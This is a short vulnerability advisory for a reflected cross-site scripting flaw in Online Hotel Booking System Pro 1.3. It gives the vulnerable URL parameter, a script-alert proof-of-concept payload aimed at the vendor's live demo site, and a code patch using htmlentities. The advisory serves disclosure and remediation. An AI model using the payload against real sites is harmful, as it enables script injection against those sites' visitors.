Online Hotel Booking System Pro version 1.3 suffers from a cross site scripting vulnerability.
80b3a97b3c233ef7570ac0a93e46095a# Exploit Title: Online Hotel Booking System Pro 1.3 - Cross Site Scripting
# Google Dork: N/A
# Date: 2017/08/12
# Exploit Author: ShanoWeb
# Author Mail : Mr[dot]Net2Net[at]Gmail[dot]com
# Vendor Homepage: http://www.bestsoftinc.com/
# Software Buy:
https://codecanyon.net/item/online-hotel-booking-system-pro/4606514
# Demo: http://envato.bestsoftinc.net/hotel-booking-pro/
# Version: 1.3
# Tested on: Win7 x64, Kali Linux x64
# Exploit :
# http://localhost/[PATH]/booking-failure.php?error_code=99&rescode=[Xss]
# Demo :http://envato.bestsoftinc.net/hotel-booking-pro/booking-failure.php?error_code=99&rescode=<script>alert('ShanoWeb');</script>
# Patch Bug :
Open booking-failure.php , find " <p style="color:#C00"><?php echo
$erroMsg[$errorCode]; ?> </p> "
Change to "<p style="color:#C00"><?php echo
htmlentities($erroMsg[$errorCode], ENT_QUOTES | ENT_HTML401, 'UTF-8');
?> </p>"
./
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|
| Find and patch bug in your website and system|
| Contact : Mr[dot]Net2Net[at]Gmail[dot]com |
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|
|=============================================================|
/-------------------------------------------------------------\
| My Message To |
\-------------------------------------------------------------/
|= [!] Make Love,Not War!. Peace No War!
|= [!] We Are One!
|= [!] We are Legion,We do not Forgive,We Do not Forge
|= [!] We Love All Children from Palestine
|=============================================================|